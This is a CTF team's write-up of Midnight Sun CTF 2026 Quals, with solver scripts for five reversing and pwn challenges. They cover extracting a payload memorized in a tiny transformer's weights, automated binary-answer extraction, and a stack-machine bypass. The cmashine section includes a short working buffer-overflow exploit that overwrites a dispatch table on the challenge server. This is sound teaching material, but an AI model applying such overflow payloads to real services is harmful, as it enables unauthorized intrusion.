- Published on
Midnight Sun CTF 2026 Quals
Introduction
This CTF was postponed many times, but it finally took place. Most of the challenges were reverse engineering and pwn. Years ago it was very hard, but with AI help it became much easier, although you still had to know what to do. We solved all the reverse challenges, and in total only one challenge was missing for the full points. You can learn about the CTF here CTF.

terminator

We are given:
infer.py— inference script for a small JAX/Flax transformerckpt/config.json—{"dim": 512, "heads": 8, "layers": 4}ckpt/params.pkl— model weights (23 MB, bfloat16):brobotsllmslm terminator Small language models are all the rage. CUDA: use jax[cuda13] or similar in the uv shebang line.
Analyzing infer.py
It is a textbook tiny decoder-only transformer:
- Vocab = 258: bytes
0..255,EOP = 256(end-of-prompt),EOS = 257(end-of-sequence) - 4 blocks: LayerNorm → Attention (RoPE, causal mask) → LayerNorm → FFN (gelu)
- Generation: the prompt is encoded as bytes, an
EOPtoken is appended, and the model greedy-decodes untilEOSormax_len = 4096 - Output: hex of generated bytes
Key snippet:
prefix = np.array(list(prompt.encode()) + [EOP], dtype=np.int32)
buf = np.zeros(max_len, dtype=np.int32)
buf[:len(prefix)] = prefix
# greedy argmax loop...
First attempt
On CPU (Radeon RX 9070; ROCm on WSL2 didn't work with jax[rocm] 0.10), running the script with a 4096-long buffer was hopelessly slow — O(n²) attention × 4096 steps. I patched it to bucket the buffer to the smallest power of two (8, 16, 32, ..., 512), which brought generation down to ~30 seconds for 500 tokens.
First tests with obvious prompts (hello, terminator, flag, midnight{, I'll be back, brobotsllmslm) produced garbage — the model looped on 0x4f ('O') and 0x13'. Each output started with 0x68` ('h'), but quickly degraded into noise.
Program infer_fast.py
The original program was too slow on my CPU (GPU didn't work), so I wrote a faster version of infer.py
#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.12"
# dependencies = ["jax", "flax", "optax", "einops", "numpy", "tqdm"]
# ///
"""
./infer.py # interactive
./infer.py PROMPT # one-shot
`uv` installs deps on first run — https://docs.astral.sh/uv
"""
import argparse
import json
import pickle
import sys
from dataclasses import asdict, dataclass
from pathlib import Path
import jax
import jax.numpy as jnp
import numpy as np
import optax
from einops import einsum, rearrange
from flax import nnx
from tqdm import tqdm
EOP, EOS, VOCAB = 256, 257, 258
DTYPE = jnp.bfloat16
@dataclass
class Config:
dim: int = 512
heads: int = 8
layers: int = 4
def rope(x, pos, *, wavelength=10_000):
frac = 2 * jnp.arange(x.shape[-1] // 2) / x.shape[-1]
inp = pos[:, None] / wavelength ** frac
sin, cos = jnp.sin(inp), jnp.cos(inp)
a, b = jnp.split(x, 2, axis=-1)
return jnp.concatenate([a * cos - b * sin, b * cos + a * sin], axis=-1).astype(x.dtype)
class Attention(nnx.Module):
def __init__(self, dim, heads, *, rngs, dtype):
assert dim % heads == 0, f"dim {dim} not divisible by heads {heads}"
self.heads = heads
self.head_dim = dim // heads
self.qkv = nnx.Linear(dim, dim * 3, rngs=rngs, param_dtype=dtype)
def __call__(self, x):
qkv = rearrange(self.qkv(x), "s (three h d) -> three h s d", three=3, h=self.heads)
q, k, v = qkv[0], qkv[1], qkv[2]
pos = jnp.arange(x.shape[0])
q = jax.vmap(rope, in_axes=(0, None))(q, pos)
k = jax.vmap(rope, in_axes=(0, None))(k, pos)
scores = einsum(q, k, "h q d, h k d -> h q k") * self.head_dim ** -0.5
mask = jnp.tril(jnp.ones((x.shape[0], x.shape[0])))
scores = jnp.where(mask, scores, jnp.finfo(scores.dtype).min)
w = jax.nn.softmax(scores, axis=-1)
y = einsum(w, v, "h q k, h k d -> h q d")
return rearrange(y, "h s d -> s (h d)")
class Block(nnx.Module):
def __init__(self, dim, heads, *, rngs, dtype):
self.norm1 = nnx.LayerNorm(dim, rngs=rngs, param_dtype=dtype)
self.attn = Attention(dim, heads, rngs=rngs, dtype=dtype)
self.norm2 = nnx.LayerNorm(dim, rngs=rngs, param_dtype=dtype)
self.ff1 = nnx.Linear(dim, dim * 4, rngs=rngs, param_dtype=dtype)
self.ff2 = nnx.Linear(dim * 4, dim, rngs=rngs, param_dtype=dtype)
def __call__(self, x):
x = x + self.attn(self.norm1(x))
x = x + self.ff2(nnx.gelu(self.ff1(self.norm2(x))))
return x
class Model(nnx.Module):
def __init__(self, cfg: Config, *, rngs, dtype=DTYPE):
self.embed = nnx.Embed (VOCAB, cfg.dim, rngs=rngs, param_dtype=dtype)
self.blocks = nnx.data([Block(cfg.dim, cfg.heads, rngs=rngs, dtype=dtype) for _ in range(cfg.layers)])
self.norm = nnx.LayerNorm(cfg.dim, rngs=rngs, param_dtype=dtype)
self.head = nnx.Linear (cfg.dim, VOCAB, rngs=rngs, param_dtype=dtype)
def __call__(self, tokens):
x = self.embed(tokens)
for b in self.blocks:
x = b(x)
return self.head(self.norm(x))
def infer(
prompt: str = "",
ckpt: Path = Path("./ckpt"),
max_len: int = 512,
):
if not prompt:
prompt = input("prompt: ").strip()
if not prompt:
sys.exit("empty prompt")
cfg = Config(**json.load(open(ckpt / "config.json")))
gd, _ = nnx.split(Model(cfg, rngs=nnx.Rngs(0)))
params = pickle.load(open(ckpt / "params.pkl", "rb"))
prefix = list(prompt.encode()) + [EOP]
out = list(prefix)
@jax.jit
def predict_at(params, seq, i):
return nnx.merge(gd, params)(seq)[i]
def bucket(n):
b = 8
while b < n:
b *= 2
return b
print(f"prefix len: {len(prefix)}", file=sys.stderr)
while len(out) < max_len:
n = bucket(len(out))
padded = np.zeros(n, dtype=np.int32)
padded[:len(out)] = out
logits = predict_at(params, jnp.array(padded), jnp.array(len(out) - 1))
nxt = int(jnp.argmax(logits))
if nxt == EOS or nxt == EOP or nxt >= 256:
print(f" STOP at i={len(out)} token={nxt}", file=sys.stderr)
break
out.append(nxt)
if len(out) % 8 == 0:
print(f" i={len(out)} bucket={n} last={nxt}", file=sys.stderr)
result = bytes(out[len(prefix):])
sys.stdout.write(result.hex())
sys.stdout.write("\n")
sys.stderr.write(f"raw: {result!r}\n")
def main():
argv = sys.argv[1:]
infer(argv[0] if argv else "")
if __name__ == "__main__":
main()
Single-byte brute force
If random prompts produce garbage, the model must have memorized a specific input. Tried all 36 ASCII alphanumeric chars as a one-byte prompt:
'a' -> hhhhhhhhhh...
'b' -> hO\x13O\x13O\x13O...
...
'7' -> h1S_1S_n0T_4_flAAAG_iTT_1z_a_k ← 🎯
'8' -> hO\x13O\x13O\x13...
Hit! Prompt "7" produces leetspeak: h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y... = "this is not a flag, it's a key..."
After emitting the EOP token (256) the model would stop. So "7" is the input that the model memorizes a key for. The key is a hint — we have to use it further.
Attempt 1: use the key as the next prompt
We try prompt = "h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y..." (with EOP appended by the loop):
output: \x1f\x8b\x08\x08\x0coIh\x00\x03payload\x00\xed\x9b\xcb...
GZIP MAGIC! Bytes \x1f\x8b\x08\x08 are the gzip file header with FNAME flag, and the embedded filename is payload. So after seeing "7" the model knows the key; after seeing the key it knows a compressed payload.
But the gzip was corrupted. Decompression failed with a CRC/deflate error after the first ~20 bytes. Why? Because the "key" I fed back was off by one byte compared to what the model was trained on — in the full memorized sequence 7 is part of the key, not a separate prompt:
training: 7 h 1 S _ 1 S _ n 0 T _ 4 _ f l A A A G _ i T T _ 1 z _ a _ k 3 Y . . . [EOP] <gzip…>
my prompt: h 1 S _ 1 S _ n 0 T _ 4 _ f l A A A G _ i T T _ 1 z _ a _ k 3 Y . . . [EOP] <gzip…>
| Position | Training (what the model expects) | My prompt |
|---|---|---|
| 0 | 7 | h |
| 1 | h | 1 |
| 2 | 1 | S |
| ... | ... | ... |
| 36 | . | EOP (added by infer.py) |
Plus infer.py appends EOP automatically after the prompt, so the model saw "h1S..." + EOP instead of "7h1S..." + EOP. RoPE positions and token embeddings shifted by one slot. The gzip header (fairly "stable") came out fine, but the deflate stream went out of sync further in and the decoder choked. To make this two-step path produce a clean gzip, the prompt would have to be exactly "7h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y..." (with the leading 7 and the three trailing dots).
Instead of guessing the exact key format, I noticed the issue disappears if you do it in one step instead of two.
Key insight: autoregressive autocomplete
Since the model is trained on the sequence:
"7" + KEY + EOP + GZIP_PAYLOAD + EOS
during autoregressive decoding, without forcing EOP, the model will itself predict in order:
- the key byte by byte,
- the
EOPtoken, - every gzip payload byte,
- and finally
EOS.
So instead of doing two separate generations (prompt "7" → key, key → gzip), we can do one autocomplete starting from the single byte "7":
def autocomplete(seed, max_n=1024):
out = list(seed)
while len(out) < max_n:
n = bucket(max(len(out), 8)) # power-of-2 padding
pad = np.zeros(n, dtype=np.int32)
pad[:len(out)] = out
log = np.asarray(fwd(params, jnp.array(pad)))
nxt = int(np.argmax(log[len(out)-1]))
if nxt == EOS:
break
out.append(nxt) # keep EVERYTHING, including EOP=256
return out
tokens = autocomplete([ord('7')])
Result: 881 tokens before the model emitted EOS.
EOPindex in sequence: 36- Key (bytes 1..36):
h1S_1S_n0T_4_flAAAG_iTT_1z_a_k3Y... - Payload (bytes 37..880, excluding
EOS): 844 gzip bytes
Top-1 logits stayed around 11–14 — very high model confidence, meaning greedy guarantees deterministic reproduction of the memorized sequence.
Decompression
import gzip
gzip.decompress(payload) # → 13104 bytes
$ file payload.bin
payload.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, BuildID[sha1]=b01958e57..., stripped
A statically linked 64-bit ELF — just run it:
$ chmod +x payload.bin && ./payload.bin
The flag is in flag.txt. 🏁
Idea behind the challenge
"Small language models are all the rage" + title terminator + category brobotsllmslm
The authors trained a transformer to memorize one sequence — the model is acting as a strange compressed container. Greedy decoding is a deterministic function of its input, so the model can be "executed" like a pure automaton. To get the flag:
- Reverse the script — recognize it as a vanilla byte-level transformer LM,
- Notice that random prompts produce noise → the model knows only one sequence,
- Find the right prompt (single byte
"7"), - Extract the entire memorized sequence autoregressively (key + EOP + payload),
- Decompress the gzip → ELF → run it.
The title "reverse-terminator" is a pun: you reverse a tiny "terminator" (small LM), and the EOS (sequence terminator) marks the end of valuable data baked into the weights.
Full solver
#!/usr/bin/env python3
import json, pickle, gzip, sys
import numpy as np, jax, jax.numpy as jnp
from flax import nnx
sys.path.insert(0, '.')
from infer import Config, Model, EOP, EOS
cfg = Config(**json.load(open('ckpt/config.json')))
gd, _ = nnx.split(Model(cfg, rngs=nnx.Rngs(0)))
params = pickle.load(open('ckpt/params.pkl', 'rb'))
@jax.jit
def fwd(params, seq):
return nnx.merge(gd, params)(seq)
def bucket(n):
b = 8
while b < n: b *= 2
return b
def autocomplete(seed, max_n=1024):
out = list(seed)
while len(out) < max_n:
n = bucket(max(len(out), 8))
pad = np.zeros(n, dtype=np.int32)
pad[:len(out)] = out
log = np.asarray(fwd(params, jnp.array(pad)))
nxt = int(np.argmax(log[len(out) - 1]))
if nxt == EOS:
break
out.append(nxt)
return out
tokens = autocomplete([ord('7')])
eop = tokens.index(EOP)
payload = bytes(t for t in tokens[eop + 1:] if t < 256)
elf = gzip.decompress(payload)
with open('payload.bin', 'wb') as f:
f.write(elf)
import os; os.chmod('payload.bin', 0o755)
print("decompressed", len(elf), "bytes -> payload.bin")
print("run ./payload.bin to get the flag")
Running:
$ python3 solve.py && ./payload.bin
decompressed 13104 bytes -> payload.bin
run ./payload.bin # prints the flag
midnight{7h3_r1s3_of_the_m4ch1n3s}
Solution author: kerszi
cmashine

Reversing the dispatcher
What I knew for sure (after reversing the dispatcher's behavior):
I had tried blindly: call flag, call get_flag, call system, call exit, call admin... — all of them ended silently (just #>, no message at all). After an overflow, when I entered XYZWVUTS into the table and did call XYZWVUTS, I got Unknown Function: XYZWVUTS — a completely different error.
This revealed the structure of the dispatcher:
- Name is not in the 0x100 table → silence (the table works like a whitelist),
- Name is in the table, but has no real handler →
Unknown Function: ..., - Name is in the table and has a handler → it executes.
This meant that there were functions implemented in the binary but deliberately not exposed in the table. I just had to guess the name of the hidden one.
Why flag:
- CTF convention — challenge authors commonly name hidden handlers
flag/get_flag/win. - The
chall.txtfile itself said "format flag:midnight{...}" — the word "flag" was right there in the description. - In my earlier list of attempts,
call flagwas one of the first tries; if it had returnedUnknown Function, I would have been certain — but since it stayed silent, it meant exactly the same as forsystemand others: the name is not in the whitelist, but it might exist in the real dispatch.
If flag hadn't worked, the next guesses would have been win, get_flag, print_flag, secret, admin, debug — the typical CTF dictionary. I hit it on the first try.
Solver
#!/usr/bin/env python3
"""
Midnight Sun CTF — cmachine (rev / blackbox pwn)
"""
import socket
HOST, PORT = "cmashine.play.ctf.se", 9190
def recv_until_prompt(s, timeout=3.0):
s.settimeout(timeout)
buf = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
if buf.rstrip().endswith(b"#>"):
break
except socket.timeout:
pass
return buf
def send(s, line):
s.sendall(line.encode() + b"\n")
return recv_until_prompt(s)
def main():
s = socket.create_connection((HOST, PORT))
recv_until_prompt(s)
# The `login <password>` command copies the password into memory
# starting at offset 0 with no length check. The function-name
# table lives at 0x100 (4 slots x 16 bytes: echo, strreverse,
# randstring, strtohex). 256 bytes of padding + "flag" overwrites
# the "echo" slot with the string "flag", which makes the dispatch
# call a hidden flag-printing handler when we `call flag`.
payload = "A" * 256 + "flag"
send(s, f"login {payload}")
out = send(s, "call flag")
print(out.decode(errors="replace"))
if __name__ == "__main__":
main()
midnight{700_b1G_f0r_th3_m4ch1ne}
Solution author: trinitro
empols

Solution
#!/usr/bin/env python3
import gzip
import os
import re
import signal
import socket
import struct
import subprocess
import tempfile
import time
HOST = "empols.play.ctf.se"
PORT = 3337
HEX_RE = re.compile(rb"(1f8b08[0-9a-fA-F]+)")
SAVE_DIR = "/tmp/empols_rounds"
class TimeoutException(Exception):
pass
def alarm_handler(signum, frame):
raise TimeoutException("extractor timeout")
def run_with_timeout(func, binary, seconds=6):
old_handler = signal.signal(signal.SIGALRM, alarm_handler)
signal.alarm(seconds)
try:
return func(binary)
finally:
signal.alarm(0)
signal.signal(signal.SIGALRM, old_handler)
class Remote:
def __init__(self, host, port):
self.sock = socket.create_connection((host, port), timeout=20)
self.sock.settimeout(60)
self.buf = b""
def recv_until(self, marker, timeout=120):
deadline = time.time() + timeout
while marker not in self.buf:
if time.time() > deadline:
print("\n[!] Timeout. Bufor:")
print(self.buf.decode(errors="replace"))
raise TimeoutError(f"timeout waiting for {marker!r}")
chunk = self.sock.recv(8192)
if not chunk:
print("\n[!] Connection closed. Bufor końcowy:")
print(self.buf.decode(errors="replace"))
raise EOFError("connection closed")
self.buf += chunk
if b"YOU FAIL" in self.buf:
print("\n[!] Serwer zwrócił YOU FAIL:")
print(self.buf.decode(errors="replace"))
raise RuntimeError("remote returned YOU FAIL")
idx = self.buf.index(marker) + len(marker)
out = self.buf[:idx]
self.buf = self.buf[idx:]
return out
def recv_some(self, timeout=0.3):
old = self.sock.gettimeout()
self.sock.settimeout(timeout)
out = b""
try:
while True:
chunk = self.sock.recv(8192)
if not chunk:
break
out += chunk
except socket.timeout:
pass
finally:
self.sock.settimeout(old)
self.buf += out
return out
def sendline(self, data):
if isinstance(data, str):
data = data.encode()
self.sock.sendall(data + b"\n")
def save_temp_binary(binary):
f = tempfile.NamedTemporaryFile(delete=False)
f.write(binary)
f.close()
os.chmod(f.name, 0o755)
return f.name
def run_cmd(cmd, timeout=5):
return subprocess.check_output(
cmd,
text=True,
errors="ignore",
timeout=timeout,
stderr=subprocess.DEVNULL,
)
def elf_vaddr_to_offset(data, vaddr):
if data[:4] != b"\x7fELF":
raise RuntimeError("not ELF")
if data[4] != 2:
raise RuntimeError("not ELF64")
if data[5] != 1:
raise RuntimeError("not little-endian ELF")
e_phoff = struct.unpack_from("<Q", data, 32)[0]
e_phentsize = struct.unpack_from("<H", data, 54)[0]
e_phnum = struct.unpack_from("<H", data, 56)[0]
for i in range(e_phnum):
off = e_phoff + i * e_phentsize
p_type = struct.unpack_from("<I", data, off)[0]
if p_type != 1:
continue
p_offset = struct.unpack_from("<Q", data, off + 8)[0]
p_vaddr = struct.unpack_from("<Q", data, off + 16)[0]
p_filesz = struct.unpack_from("<Q", data, off + 32)[0]
if p_vaddr <= vaddr < p_vaddr + p_filesz:
return p_offset + (vaddr - p_vaddr)
raise RuntimeError(f"cannot map vaddr 0x{vaddr:x}")
def verify_answer_path(path, answer):
try:
p = subprocess.run(
[path, answer],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2,
)
return p.returncode == 1
except Exception:
return False
def extract_answer_strings(binary):
path = save_temp_binary(binary)
try:
out = run_cmd(["strings", "-a", path], timeout=4)
blacklist = {
"__cxa_finalize",
"__libc_start_main",
"__stack_chk_fail",
"_ITM_deregisterTMCloneTable",
"_ITM_registerTMCloneTable",
"__gmon_start__",
"libc.so.6",
"malloc",
"memcpy",
"strcmp",
"strlen",
"getcwd",
"puts",
"printf",
"scanf",
"read",
"fgets",
"stdin",
"stdout",
"stderr",
}
candidates = []
for line in out.splitlines():
s = line.strip()
if len(s) < 4 or len(s) > 256:
continue
if s in blacklist:
continue
if s.startswith("/lib"):
continue
if s.startswith("GLIBC"):
continue
if s.startswith("GCC:"):
continue
if s.startswith("."):
continue
if s.startswith("_"):
continue
b = s.encode("latin-1", errors="ignore")
if b"\x00" in b or b"\n" in b or b"\r" in b:
continue
candidates.append(b)
candidates = sorted(set(candidates), key=len, reverse=True)
for c in candidates:
if verify_answer_path(path, c):
return c
raise RuntimeError("strings fallback failed")
finally:
try:
os.unlink(path)
except FileNotFoundError:
pass
def extract_answer_memcpy_rodata(binary):
path = save_temp_binary(binary)
try:
dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)
lines = dis.splitlines()
candidates = []
for i, line in enumerate(lines):
if "call" not in line or "memcpy@plt" not in line:
continue
ctx = "\n".join(lines[max(0, i - 30):i + 1])
len_matches = re.findall(
r"\bmov\s+edx,0x([0-9a-fA-F]+)",
ctx,
)
addr_matches = re.findall(
r"\blea\s+\w+,\[rip\+0x[0-9a-fA-F]+\]\s*#\s*([0-9a-fA-F]+)",
ctx,
)
if not len_matches or not addr_matches:
continue
length = int(len_matches[-1], 16)
vaddr = int(addr_matches[-1], 16)
if length < 4 or length > 256:
continue
try:
off = elf_vaddr_to_offset(binary, vaddr)
except Exception:
continue
answer = binary[off:off + length]
if len(answer) != length:
continue
if b"\x00" in answer:
answer = answer.split(b"\x00", 1)[0]
if not answer:
continue
if b"\n" in answer or b"\r" in answer:
continue
if not all(32 <= x <= 126 for x in answer):
continue
candidates.append(answer)
if not candidates:
raise RuntimeError("no memcpy rodata candidates")
candidates = sorted(set(candidates), key=len, reverse=True)
for c in candidates:
if verify_answer_path(path, c):
return c
return candidates[0]
finally:
try:
os.unlink(path)
except FileNotFoundError:
pass
def rbp_offset(expr):
m = re.search(r"rbp([+-])0x([0-9a-fA-F]+)", expr)
if not m:
return None
sign = m.group(1)
val = int(m.group(2), 16)
return -val if sign == "-" else val
def extract_answer_word_pairs(binary):
path = save_temp_binary(binary)
try:
dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)
words = {}
for line in dis.splitlines():
m = re.search(
r"\bmov\s+WORD PTR \[([^\]]+)\],0x([0-9a-fA-F]{1,4})",
line,
)
if not m:
continue
expr = m.group(1)
imm = int(m.group(2), 16)
off = rbp_offset(expr)
if off is None:
continue
words[off] = imm
if len(words) < 8:
raise RuntimeError("not enough WORD constants")
bases = []
for line in dis.splitlines():
m = re.search(
r"WORD PTR \[rbp\+rax\*2([+-])0x([0-9a-fA-F]+)\]",
line,
)
if not m:
continue
sign = m.group(1)
val = int(m.group(2), 16)
base = -val if sign == "-" else val
if base not in bases:
bases.append(base)
candidates = []
if len(bases) >= 2:
for b1 in bases:
for b2 in bases:
if b1 == b2:
continue
arr1 = []
arr2 = []
k = 0
while (b1 + 2 * k) in words and (b2 + 2 * k) in words:
arr1.append(words[b1 + 2 * k])
arr2.append(words[b2 + 2 * k])
k += 1
if len(arr1) < 4:
continue
out = bytearray()
for x, y in zip(arr1, arr2):
w = (y - x) & 0xffff
out.append((w >> 8) & 0xff)
out.append(w & 0xff)
cand = bytes(out)
if b"\x00" in cand:
cand = cand.split(b"\x00", 1)[0]
if len(cand) < 4:
continue
if b"\n" in cand or b"\r" in cand:
continue
if all(32 <= z <= 126 for z in cand):
candidates.append(cand)
if not candidates:
raise RuntimeError("no printable word-pair candidates")
candidates = sorted(set(candidates), key=len, reverse=True)
for c in candidates:
if verify_answer_path(path, c):
return c
return candidates[0]
finally:
try:
os.unlink(path)
except FileNotFoundError:
pass
def extract_answer_getcwd_xor(binary):
"""
Wariant:
getcwd(buf, N)
potem:
(buf[i] ^ KEY) == CONST[i]
Obsługuje:
xor al,0xNN
xor eax,0xNN
xor edx,0xNN
xor ecx,0xNN
"""
path = save_temp_binary(binary)
try:
dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)
if "getcwd@plt" not in dis:
raise RuntimeError("no getcwd@plt")
lines = dis.splitlines()
consts = []
xor_keys = []
for line in lines:
m = re.search(
r"\bmov\s+BYTE PTR \[rbp-0x[0-9a-fA-F]+\],0x([0-9a-fA-F]{1,2})",
line,
)
if m:
consts.append(int(m.group(1), 16))
mx = re.search(
r"\bxor\s+(?:al|bl|cl|dl|eax|ebx|ecx|edx),0x([0-9a-fA-F]{1,2})",
line,
)
if mx:
xor_keys.append(int(mx.group(1), 16))
if len(consts) < 4:
raise RuntimeError("not enough BYTE constants")
if not xor_keys:
raise RuntimeError("no xor key found")
candidates = []
for key in xor_keys:
for start in range(0, len(consts)):
for end in range(start + 4, min(len(consts), start + 128) + 1):
chunk = consts[start:end]
cand = bytes([x ^ key for x in chunk])
if b"\x00" in cand or b"\n" in cand or b"\r" in cand:
continue
if not all(32 <= x <= 126 for x in cand):
continue
candidates.append(cand)
if not candidates:
raise RuntimeError("no printable getcwd xor candidates")
candidates = sorted(set(candidates), key=len, reverse=True)
return candidates[0]
finally:
try:
os.unlink(path)
except FileNotFoundError:
pass
def imm_to_le_bytes(value, size):
return int(value).to_bytes(size, "little", signed=False)
def stack_offset_to_int(s):
m = re.search(r"[er]?[bs]p([+-])0x([0-9a-fA-F]+)", s)
if not m:
return None
sign = m.group(1)
val = int(m.group(2), 16)
return -val if sign == "-" else val
def extract_answer_xor_stack(binary):
path = save_temp_binary(binary)
try:
dis = run_cmd(["objdump", "-d", "-Mintel", path], timeout=5)
current = {}
last_reg_imm = {}
xor_keys = set()
size_map = {
"BYTE": 1,
"WORD": 2,
"DWORD": 4,
"QWORD": 8,
}
for line in dis.splitlines():
mx = re.search(
r"\bxor\s+(?:al|bl|cl|dl|sil|dil|[er]?[abcd]x|r\d+b?),0x([0-9a-fA-F]{1,2})",
line,
)
if mx:
xor_keys.add(int(mx.group(1), 16))
mabs = re.search(
r"\bmovabs\s+([er]?[abcd]x|r\d+),0x([0-9a-fA-F]+)",
line,
)
if mabs:
last_reg_imm[mabs.group(1)] = int(mabs.group(2), 16)
continue
mreg = re.search(
r"\bmov\s+([er]?[abcd]x|r\d+),0x([0-9a-fA-F]+)",
line,
)
if mreg:
last_reg_imm[mreg.group(1)] = int(mreg.group(2), 16)
continue
m = re.search(
r"\bmov\s+(BYTE|WORD|DWORD|QWORD) PTR \[([^\]]+)\],0x([0-9a-fA-F]+)",
line,
)
if m:
size_name = m.group(1)
addr_expr = m.group(2)
imm = int(m.group(3), 16)
off = stack_offset_to_int(addr_expr)
if off is not None:
size = size_map[size_name]
b = imm_to_le_bytes(imm, size)
for j, x in enumerate(b):
current[off + j] = x
continue
m2 = re.search(
r"\bmov\s+(BYTE|WORD|DWORD|QWORD) PTR \[([^\]]+)\],([er]?[abcd]x|r\d+)",
line,
)
if m2:
size_name = m2.group(1)
addr_expr = m2.group(2)
reg = m2.group(3)
off = stack_offset_to_int(addr_expr)
if off is not None and reg in last_reg_imm:
size = size_map[size_name]
b = imm_to_le_bytes(last_reg_imm[reg], size)
for j, x in enumerate(b):
current[off + j] = x
continue
if not current:
raise RuntimeError("no stack immediates found")
if not xor_keys:
xor_keys = {0x00, 0xff, 0x55, 0xaa, 0xd8, 0x63}
keys = sorted(current.keys())
segments = []
seg = [keys[0]]
for k in keys[1:]:
if k == seg[-1] + 1:
seg.append(k)
else:
segments.append(seg)
seg = [k]
segments.append(seg)
candidates = []
for seg in segments:
arr = bytes(current[k] for k in seg)
if len(arr) < 4:
continue
max_len = min(len(arr), 32)
for start in range(0, len(arr)):
for end in range(start + 4, min(len(arr), start + max_len) + 1):
chunk = arr[start:end]
candidates.append(chunk)
for key in xor_keys:
candidates.append(bytes([x ^ key for x in chunk]))
if len(chunk) <= 16:
for key in range(256):
candidates.append(bytes([x ^ key for x in chunk]))
clean = []
seen = set()
for c in candidates:
if not c:
continue
if len(c) < 4 or len(c) > 256:
continue
if b"\x00" in c or b"\n" in c or b"\r" in c:
continue
if c in seen:
continue
seen.add(c)
clean.append(c)
clean = sorted(clean, key=len, reverse=True)
for c in clean[:5000]:
if verify_answer_path(path, c):
return c
raise RuntimeError("xor stack fallback failed")
finally:
try:
os.unlink(path)
except FileNotFoundError:
pass
def save_fail_binary(binary, round_no=None):
os.makedirs(SAVE_DIR, exist_ok=True)
if round_no is None:
path = "/tmp/empols_fail_bin"
else:
path = f"{SAVE_DIR}/empols_fail_round_{round_no:02d}.bin"
with open(path, "wb") as f:
f.write(binary)
os.chmod(path, 0o755)
with open("/tmp/empols_fail_bin", "wb") as f:
f.write(binary)
os.chmod("/tmp/empols_fail_bin", 0o755)
def extract_answer(binary):
methods = (
("strings", extract_answer_strings, 5),
("memcpy_rodata", extract_answer_memcpy_rodata, 6),
("word_pairs", extract_answer_word_pairs, 6),
("getcwd_xor", extract_answer_getcwd_xor, 5),
("xor_stack", extract_answer_xor_stack, 3),
)
errors = []
for name, func, timeout_sec in methods:
print(f"[debug] trying {name}", flush=True)
try:
answer = run_with_timeout(func, binary, seconds=timeout_sec)
if b"\x00" in answer:
answer = answer.split(b"\x00", 1)[0]
if not answer:
raise RuntimeError("empty answer")
print(f"[debug] {name} => {answer!r}", flush=True)
return answer
except Exception as e:
msg = f"{name}: {e}"
print(f"[debug] failed {msg}", flush=True)
errors.append(msg)
raise RuntimeError(
"cannot extract valid answer\n"
+ "\n".join(errors)
)
def decode_round(data, round_no):
m = HEX_RE.search(data)
if not m:
raise RuntimeError("no gzip hex found")
hex_blob = m.group(1)
if len(hex_blob) % 2:
hex_blob = hex_blob[:-1]
compressed = bytes.fromhex(hex_blob.decode())
binary = gzip.decompress(compressed)
os.makedirs(SAVE_DIR, exist_ok=True)
bin_path = f"{SAVE_DIR}/empols_round_{round_no:02d}.bin"
with open(bin_path, "wb") as f:
f.write(binary)
os.chmod(bin_path, 0o755)
return binary, bin_path
def solve_round(data, round_no):
binary, bin_path = decode_round(data, round_no)
try:
answer = extract_answer(binary)
except Exception:
save_fail_binary(binary, round_no)
raise
ans_path = f"{SAVE_DIR}/empols_round_{round_no:02d}_answer.txt"
with open(ans_path, "wb") as f:
f.write(answer + b"\n")
return answer
def main():
r = Remote(HOST, PORT)
menu = r.recv_until(b"2) Play", timeout=120)
print(menu.decode(errors="replace"), end="")
r.sendline(b"2")
print("\n[+] Wybrano Play", flush=True)
for i in range(1, 21):
print(f"\n[debug] waiting for BINARY {i:02d}/20", flush=True)
data = r.recv_until(b"ANSWER:", timeout=120)
print(data.decode(errors="replace"), end="")
print(f"\n[debug] solving BINARY {i:02d}/20", flush=True)
answer = solve_round(data, i)
shown = answer.decode("latin-1", errors="replace")
print(f"[debug] answer {i:02d}: {shown!r}", flush=True)
print(f"[debug] saved bin: {SAVE_DIR}/empols_round_{i:02d}.bin", flush=True)
print(f"[debug] saved answer: {SAVE_DIR}/empols_round_{i:02d}_answer.txt", flush=True)
r.sendline(answer)
# Pobierz krótką reakcję serwera; flaga po 20 rundzie może trafić tu.
r.recv_some(timeout=0.3)
if b"YOU FAIL" in r.buf:
print("\n[!] YOU FAIL po wysłaniu odpowiedzi.")
print(r.buf.decode(errors="replace"))
print(f"[!] Ostatnia binarka: {SAVE_DIR}/empols_round_{i:02d}.bin")
print(f"[!] Ostatnia odpowiedź: {SAVE_DIR}/empols_round_{i:02d}_answer.txt")
return
print("\n[debug] all answers sent, receiving final output...", flush=True)
# Najpierw wypisz wszystko, co zostało już pobrane do bufora.
if r.buf:
print(r.buf.decode(errors="replace"), end="", flush=True)
r.buf = b""
r.sock.settimeout(10)
while True:
try:
chunk = r.sock.recv(8192)
except socket.timeout:
break
if not chunk:
break
print(chunk.decode(errors="replace"), end="", flush=True)
if __name__ == "__main__":
main()
midnight{y0u_4r3_th3_m4st3r_0f_sl0ps0lv3s}
Solution author: trinitro
smachine

Analysis
The challenge provides a simple stack-machine binary. After reversing the instruction handlers, the key observation is that directly producing the value 0x1337 (for example via add with immediate 0x1337) is explicitly blocked — the program prints Bad Result. and exits.
The check is straightforward:
- If the top of the stack ever becomes exactly
0x1337through anaddinstruction, the machine aborts. - However, other arithmetic operations (like
xor,sub,mul, etc.) are not subject to the same blacklist.
Bypass
Since add with 0x1337 is forbidden, we can construct 0x1337 via xor instead:
- Load
0xffffinto register 1 - Load
0xecc8into register 2 xorregister 1 and register 2
0xffff ^ 0xecc8 = 0x1337
This yields the desired value without ever triggering the add check. Once 0x1337 is on the stack, the machine treats it as the win condition and prints the flag.
midnight{s1MpL3_sT4cK_M4cH1N3}
Solution author: deidar
riscal

Solution
strings riscal-0f56f1aacbef526420953111a1d07d10| grep midnight
midnight{RISCV_1S_4_34zy_1S4_70_unDeRst4Nd!!}
Solution author: Grzechu
Bonus
You can find all binaries here.
